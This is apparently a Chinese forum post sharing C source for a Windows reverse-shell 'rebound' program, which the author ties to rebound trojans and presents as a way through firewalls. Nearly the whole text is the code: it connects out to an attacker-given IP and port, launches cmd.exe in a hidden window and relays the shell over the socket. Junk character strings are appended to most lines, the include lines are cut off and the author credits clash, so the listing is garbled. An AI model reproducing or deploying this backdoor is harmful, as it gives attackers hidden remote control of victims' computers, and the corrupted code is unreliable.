这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 /6'5uP
l Ztw[c
/* ============================== B5qlU4km&
Rebound port in Windows NT )tx!BJiZ[
By wind,2006/7 5Noy~;
===============================*/ FQB6`
M
#include Hy2~D:34
#include B|kIiL63
D
!F)BTB7{<
#pragma comment(lib,"wsock32.lib") 5"7lWX
ghaO#kI
void OutputShell(); KD8,a+GL
SOCKET sClient; 03I*@jj
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; aB~=WWLR\
3W@ta1
void main(int argc,char **argv)
QjFE
{
Wo/LrCg
WSADATA stWsaData; fsV_>5I6
int nRet; <w0$0ku
SOCKADDR_IN stSaiClient,stSaiServer; 0t0m?rVW
Ehg(xK
if(argc != 3) dJ=z'?|%g
{ \`|OAC0a
printf("Useage:\n\rRebound DestIP DestPort\n"); F'JceU
return; Eh.NJI(
} LX;" Mz>
<):= mr7
WSAStartup(MAKEWORD(2,2),&stWsaData); -e_L2<7
ck#MpQ!An
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); JX2@i8[~
FSkz[D_}
stSaiClient.sin_family = AF_INET; oz/Nx{bg
stSaiClient.sin_port = htons(0); e'5sT#T9 l
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); W4S! rU
nB#XQ8Nzx^
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) "']|o ~B
{ 7G
&I]>
printf("Bind Socket Failed!\n"); OVU+V 0w1a
return; (b;*8
} 6%fF6
oC1Nfc+
stSaiServer.sin_family = AF_INET; ffoLCx4o0E
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); x10u?@
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ^z}$'<D9
NT<vs"<B
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) <~-cp61z;
{ _*LgpZ-2(
printf("Connect Error!"); f|'8~C5I@>
return; PuGc{kt
} eaCh;IpIf
OutputShell(); 2H2Yxe7? -
} gP:H_nVh
f,'9Bj.~
void OutputShell() hSF4-Vvb
{ 5.zv0tJku
char szBuff[1024]; .%T.sQ
SECURITY_ATTRIBUTES stSecurityAttributes;
<5:`tC2
OSVERSIONINFO stOsversionInfo; 'MY0v_
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; C`r{B.t`GT
STARTUPINFO stStartupInfo; !OL[1_-4|K
char *szShell; J0O wzO
PROCESS_INFORMATION stProcessInformation; 0`%Ask
unsigned long lBytesRead; 6z ,nt
>Eqr/~Q
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); N
Obw/9JO
DRuG5| {I:
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); YK6zN>M}E
stSecurityAttributes.lpSecurityDescriptor = 0; /YT _~q=:
stSecurityAttributes.bInheritHandle = TRUE; ERz{, >G?
X>4qL'b:z
hmM2c15T5
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); :~%{
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); m9 D'yXZ
]c~W$h+F
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ,AEaW
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; k5/W'*P
stStartupInfo.wShowWindow = SW_HIDE; UTR`jXCg
stStartupInfo.hStdInput = hReadPipe; Z[?zaQ$
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; c%vtg.A
n,8bQP=&
GetVersionEx(&stOsversionInfo); 'jj|bN
II)
K0<
switch(stOsversionInfo.dwPlatformId) %+0V0.
{ nX|]JW
case 1: 9A!B|s
szShell = "command.com"; F0]xc
break; LMTz/M
default: uwo\FI
szShell = "cmd.exe"; d_aHUmI^"
break; $s"{C"4q
} } za"rU
c=#V*<
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); :oO
?A
"1|\V.>>;
send(sClient,szMsg,77,0); O"V;otlC
while(1) nC(<eL
{ =]m,7 v Rq
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); EUjA-L(
if(lBytesRead) jSd[
{ E)z=85;_p
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); TAp8x
send(sClient,szBuff,lBytesRead,0); ]mT2a8`c.r
} gUHx(Fi[4
else dBNx2T}_0
{ L5 Q^cY]p
lBytesRead=recv(sClient,szBuff,1024,0); jHQnD]Hr
if(lBytesRead<=0) break; j`:D BO&)\
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); P]%)c6Uh
} %=`wN^3t2
} z[+Sb;
g#b9xTGJ^
return; S:8 WBY] M
}